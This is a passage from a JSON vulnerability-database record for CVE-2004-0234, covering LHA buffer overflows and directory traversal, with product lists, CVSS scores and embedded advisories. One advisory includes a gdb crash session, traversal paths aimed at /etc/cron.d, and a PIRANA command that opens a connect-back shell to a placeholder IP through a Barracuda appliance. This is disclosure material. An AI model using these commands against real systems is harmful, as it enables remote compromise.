"version": null
},
{
"model": "internet security suite",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for mail servers with epo",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for lotus domino",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.5"
},
{
"model": "asap virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "active virus defense smb edition",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "active threat protection",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "active mail protection",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "personal express",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.7"
},
{
"model": "personal express",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.6"
},
{
"model": "personal express",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.5"
},
{
"model": "internet security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2004"
},
{
"model": "internet security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2003"
},
{
"model": "anti-virus for workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "anti-virus for workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "anti-virus for windows servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "anti-virus for windows servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "anti-virus for samba servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.60"
},
{
"model": "anti-virus for ms exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "6.21"
},
{
"model": "anti-virus for mimesweeper",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "anti-virus for mimesweeper",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "anti-virus for linux workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "anti-virus for linux workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "anti-virus for linux servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "anti-virus for linux servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "anti-virus for linux gateways",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "anti-virus for linux gateways",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "anti-virus client security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.52"
},
{
"model": "anti-virus client security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.50"
},
{
"model": "anti-virus",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2004"
},
{
"model": "anti-virus",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2003"
},
{
"model": "mailsweeper sp1",
"scope": "eq",
"trust": 0.3,
"vendor": "clearswift",
"version": "4.3.6"
},
{
"model": "networks barracuda spam firewall",
"scope": "eq",
"trust": 0.3,
"vendor": "barracuda",
"version": "3.1.18"
},
{
"model": "networks barracuda spam firewall",
"scope": "eq",
"trust": 0.3,
"vendor": "barracuda",
"version": "3.1.17"
},
{
"model": "networks barracuda spam firewall",
"scope": "ne",
"trust": 0.3,
"vendor": "barracuda",
"version": "3.3.03.022"
}
],
"sources": [
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.4:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.51:*:linux_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.51:*:linux_workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.41:*:workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.42:*:mimesweeper:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_internet_security:2003:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_internet_security:2004:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sgi:propack:2.4:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.6:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.6_sp1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.7:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.52:*:linux_gateways:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.52:*:linux_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.42:*:windows_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.42:*:workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_personal_express:4.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_personal_express:4.6:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_personal_express:4.7:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:stalker:cgpmcafee:3.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:tsugio_okamoto:lha:1.14:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.10:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.11:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.8:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:2003:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.52:*:linux_workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.60:*:samba_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.5:*:client_security:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.52:*:client_security:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:internet_gatekeeper:6.31:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:internet_gatekeeper:6.32:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:tsugio_okamoto:lha:1.15:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:tsugio_okamoto:lha:1.17:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.13:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.3:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:2004:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.51:*:linux_gateways:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.41:*:mimesweeper:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.41:*:windows_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:6.21:*:ms_exchange:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_for_firewalls:6.20:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:rarlab:winrar:3.20:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:redhat:lha:1.14i-9:*:i386:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:winzip:winzip:9.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:redhat:fedora_core:core_1.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2004-0234"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Ulf Harnhammar\u203b ulfh@update.uu.se\u203bJean-S\u00e9bastien Guay-Leroux\u203b jean-sebastien@guay-leroux.com",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
],
"trust": 0.6
},
"cve": "CVE-2004-0234",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": true,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Complete",
"baseScore": 10.0,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "CVE-2004-0234",
"impactScore": null,
"integrityImpact": "Complete",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-8664",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2004-0234",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-200408-202",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-8664",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8664"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Multiple stack-based buffer overflows in the get_header function in header.c for LHA 1.14, as used in products such as Barracuda Spam Firewall, allow remote attackers or local users to execute arbitrary code via long directory or file names in an LHA archive, which triggers the overflow when testing or extracting the archive. \nThe first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. \nThe second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. \n**NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. \n**Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. \n\nThese vulnerabilities are related to:\nSA11510\nSA19002\n\nSuccessful exploitation allows execution of arbitrary code. ------------------------------------------------------------------------\n\nLHa buffer overflows and directory traversal problems\n\nPROGRAM: LHa (Unix version)\nVENDOR: various people\nVULNERABLE VERSIONS: 1.14d to 1.14i\n 1.17 (Linux binary)\n possibly others\nIMMUNE VERSIONS: 1.14i with my patch applied\n 1.14h with my patch applied\nLHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm\n http://www2m.biglobe.ne.jp/~dolphin/lha/prog/\nLHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/\nREFERENCES: CAN-2004-0234 (buffer overflows)\n CAN-2004-0235 (directory traversal)\n\n* DESCRIPTION *\n\nLHa is a console-based program for packing and unpacking LHarc\narchives. \n\nIt is one of the packages in Red Hat Linux, Fedora Core, SUSE\nLinux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux,\nGentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. \nIt is also included in the port/package collections for FreeBSD,\nOpenBSD and NetBSD. \n\n* OVERVIEW *\n\nLHa has two stack-based buffer overflows and two directory traversal\nproblems. They can be abused by malicious people in many different\nways: some mail virus scanners require LHa and run it automatically\non attached files in e-mail messages. Some web applications allow\nuploading and unpacking of LHarc archives. Some people set up their\nweb browsers to start LHa automatically after downloading an LHarc\narchive. Finally, social engineering is probably quite effective\nin this case. The cause of the problem is the function\nget_header() in header.c. This function first reads the lengths of\nfilenames or directory names from the archive, and then it reads\nthat many bytes to a char array (one for filenames and one for\ndirectory names) without checking if the array is big enough. \n\nBy exploiting this bug, you get control over several registers\nincluding EIP, as you can see in this session capture:\n\n$ lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ gdb lha\nGNU gdb Red Hat Linux (5.3post-0.20021129.18rh)\nCopyright 2003 Free Software Foundation, Inc. \nGDB is free software, covered by the GNU General Public License, and\nyou are welcome to change it and/or distribute copies of it under\ncertain conditions. \nType \"show copying\" to see the conditions. \nThere is absolutely no warranty for GDB. Type \"show warranty\" for\ndetails. \nThis GDB was configured as \"i386-redhat-linux-gnu\"... \n(gdb) r x buf_oflow.lha\nStarting program: /usr/bin/lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffdd50 0xbfffdd50\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210282 2163330\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) r t buf_oflow.lha\nThe program being debugged has been started already. \nStart it from the beginning? (y or n) y\nStarting program: /usr/bin/lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffe6d0 0xbfffe6d0\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210286 2163334\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) q\nThe program is running. Exit anyway? (y or n) y\n$\n\nb) two directory traversal problems\n\nLHa has directory traversal problems, both with absolute paths\nand relative paths. There is no protection against relative paths\nat all, so you can simply use the lha binary to create an archive\nwith paths like \"../../../../../etc/cron.d/evil\". There is some\nsimple protection against absolute paths, namely skipping the first\ncharacter if it is a slash, but again you can simply use the binary\nto create archives with paths like \"//etc/cron.d/evil\". \n\n* ATTACHED FILES *\n\nI have written a patch against version 1.14i that corrects all\nfour problems. The patch is included as an attachment, together\nwith some test archives. \n\n* TIMELINE *\n\n18 Apr: contacted the vendor-sec list and the LHa 1.14 author\n18 Apr: tried to contact the LHa 1.17 author with a web form and\n a guessed e-mail address which bounced\n19 Apr: reply from the vendor-sec list with CVE references\n30 Apr: Red Hat released their advisory\n01 May: I release this advisory\n\n// Ulf Harnhammar\nAdvogato diary :: http://www.advogato.org/person/metaur/\nidiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/\nDebian Security Audit Project :: http://shellcode.org/Audit/\n\n------------------------------------------------------------------------\n. \n\nTITLE:\nZoo \"fullpath()\" File Name Handling Buffer Overflow\n\nSECUNIA ADVISORY ID:\nSA19002\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/19002/\n\nCRITICAL:\nModerately critical\n\nIMPACT:\nDoS, System access\n\nWHERE:\n\u003eFrom remote\n\nSOFTWARE:\nzoo 2.x\nhttp://secunia.com/product/8297/\n\nDESCRIPTION:\nJean-S\\xe9bastien Guay-Leroux has discovered a vulnerability in zoo,\nwhich can be exploited by malicious people to cause a DoS (Denial of\nService) and potentially to compromise a user\u0027s system. This can be exploited to cause a\nbuffer overflow when a specially-crafted ZOO archive containing a\nfile with an overly long file and directory name is processed (e.g. \nlisting archive contents or adding new files to the archive). \n\nThe vulnerability has been confirmed in version 2.10. Other versions\nmay also be affected. \n\nSOLUTION:\nRestrict use to trusted ZOO archives. \n\nPROVIDED AND/OR DISCOVERED BY:\nJean-S\\xe9bastien Guay-Leroux\n\nORIGINAL ADVISORY:\nhttp://www.guay-leroux.com/projects/zoo-advisory.txt\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Topic: Barracuda LHA archiver security bug leads to\n remote compromise\n\nAnnounced: 2006-04-03\nProduct: Barracuda Spam Firewall\nVendor: http://www.barracudanetworks.com/\nImpact: Remote shell access\nAffected product: Barracuda with firmware \u003c 3.3.03.022 AND\n spamdef \u003c 3.0.10045\nCredits: Jean-S\\xe9bastien Guay-Leroux\nCVE ID: CVE-2004-0234\n\n\nI. BACKGROUND\n\nThe Barracuda Spam Firewall is an integrated hardware and software solution for\ncomplete protection of your email server. It provides a powerful, easy to use,\nand affordable solution to eliminating spam and virus from your organization by\nproviding the following protection:\n\n * Anti-spam\n * Anti-virus\n * Anti-spoofing\n * Anti-phishing\n * Anti-spyware (Attachments)\n * Denial of Service\n\n\nII. DESCRIPTION\n\nWhen building a special LHA archive with long filenames in it, it is possible to\noverflow a buffer on the stack used by the program and seize control of the\nprogram. \n\nSince this component is used when scanning an incoming email, remote compromise\nis possible by sending a simple email with the specially crafted LHA archive\nattached to the Barracuda Spam Firewall. \n\nYou do NOT need to have remote administration access (on port 8000) for\nsuccessfull exploitation. \n\nFor further informations about the details of the bugs, you can consult OSVDB\n#5753 and #5754 . \n\n\nIII. IMPACT\n\nGain shell access to the remote Barracuda Spam Firewall\n\n\nIV. PROOF OF CONCEPT\n\nUsing the PIRANA framework, available at http://www.guay-leroux.com , it is\npossible to test the Barracuda Spam Firewall against the LHA vulnerability. \n\nBy calling PIRANA the way it is described below, you will get a TCP connect back\nshell on IP address 1.2.3.4 and port 1234:\n\nperl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \\\n-p 1234 -z -c 1 -d 1\n\n\nV. SOLUTION\n\nBarracuda Networks pushed an urgent critical patch in spamdef #3.0.10045,\navailable March 24th 2006. \n\nThey also published an official patch in firmware #3.3.03.022, available April\n3rd 2006. \n\nIt is recommended to update to firmware #3.3.03.022 . \n\n\nVI. CREDITS\n\nUlf Harnhammar who found the original LHA flaw. \n\nJean-S\\xe9bastien Guay-Leroux who conducted further research on the bug\nand produced exploitation plugin for the PIRANA framework. \n\n\nVII. REFERENCES\n\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0234\n\n\nVIII. HISTORY\n\n2006-03-02 : Disclosure of vulnerability to Barracuda Networks\n2006-03-02 : Acknowledgement of the problem\n2006-03-24 : Problem fixed\n2006-04-03 : Advisory disclosed to public\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "VULHUB",
"id": "VHN-8664"
},
{
"db": "PACKETSTORM",
"id": "45159"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "PACKETSTORM",
"id": "44104"
},
{
"db": "PACKETSTORM",
"id": "45164"
}
],
"trust": 2.34
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
